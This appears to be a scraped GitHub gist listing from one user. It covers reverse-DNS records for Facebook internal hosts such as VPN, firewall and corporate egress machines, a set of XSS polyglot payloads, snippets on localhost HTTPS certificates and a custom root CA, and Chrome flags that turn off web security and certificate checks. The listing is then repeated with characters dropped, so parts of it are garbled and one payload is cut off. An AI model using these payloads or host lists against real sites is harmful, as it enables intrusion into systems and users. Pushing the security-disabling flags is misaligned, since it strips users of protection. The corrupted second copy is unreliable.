John Ströber JohnStroeber

## fbptr-20200219.txt
69.63.177.37 testvpn01.tfbnw.net.
69.63.179.36 static-dev.facebook.com.
69.63.183.110 mlb01.01.sea1.tfbnw.net.
66.220.144.7 itoolsfile.facebook.com.
66.220.144.38 corpout1.snc1.tfbnw.net.
66.220.144.40 corpout3.snc1.tfbnw.net.
66.220.144.41 vpn01.snc1.tfbnw.net.
66.220.144.51 secfw01.snc1.tfbnw.net.
66.220.144.128 66-220-144-128.mail-mail.facebook.com.
66.220.144.129 66-220-144-129.mail-mail.facebook.com.

## xss-polyglots.txt
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<

## 2019-https-localhost.md

      
              1 file
            
          
              257 forks
            
          
              81 comments
            
          
              803 stars
            
          
                cecilemuller
                / 2019-https-localhost.md
            
            
              Last active
              July 20, 2024 14:39
            
              
                How to create an HTTPS certificate for localhost domains
              
          
    How to create an HTTPS certificate for localhost domains

This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.
Do not use self-signed certificates in production !
For online certificates, use Let's Encrypt instead (tutorial).

  
## self-signed-certificate-with-custom-ca.md

      
              1 file
            
          
              424 forks
            
          
              49 comments
            
          
              1360 stars
            
          
                fntlnz
                / self-signed-certificate-with-custom-ca.md
            
            
              Last active
              July 15, 2024 09:31
            
              
                Self Signed Certificate with Custom Root CA
              
          
    Create Root CA (Done once)

Create Root Key

Attention: this is the key used to sign the certificate requests, anyone holding this can sign certificates on your behalf. So keep it in a safe place!
openssl genrsa -des3 -out rootCA.key 4096

  
## chrome-disable-web-security
#just for local dev
open -a /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --args --disable-web-security --user-data-dir=""
# if use a proxy and issue with https
open -a /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --args --disable-web-security --user-data-dir="" --ignore-certificate-errors
	69.63.177.37 testvpn01.tfbnw.net.
	69.63.179.36 static-dev.facebook.com.
	69.63.183.110 mlb01.01.sea1.tfbnw.net.
	66.220.144.7 itoolsfile.facebook.com.
	66.220.144.38 corpout1.snc1.tfbnw.net.
	66.220.144.40 corpout3.snc1.tfbnw.net.
	66.220.144.41 vpn01.snc1.tfbnw.net.
	66.220.144.51 secfw01.snc1.tfbnw.net.
	66.220.144.128 66-220-144-128.mail-mail.facebook.com.
	66.220.144.129 66-220-144-129.mail-mail.facebook.com.
	javascript:"/'/`/--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/<svg/*/onload=alert()//>
	javascript:"/'/`/\" /</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/<html//onmouseover=alert()//>
	javascript:"/\"/`/' /</template></textarea></noembed></noscript></title></style></script>--><svg onload=/<html//onmouseover=alert()//>
	javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/--><html / onmouseover=alert()//'>`
	javascript:`/\"/--><svg onload='/</template></noembed></noscript></style></title></textarea></script><html onmouseover="/*/ alert()//'">`
	javascript:"/'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame / onload=alert()//</script>
	javascript:"/`/\"/'/</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/<i<frame// onload=alert()//</Script>
	javascript:`</template>\"///"//<
	#just for local dev
	open -a /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --args --disable-web-security --user-data-dir=""
	# if use a proxy and issue with https
	open -a /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --args --disable-web-security --user-data-dir="" --ignore-certificate-errors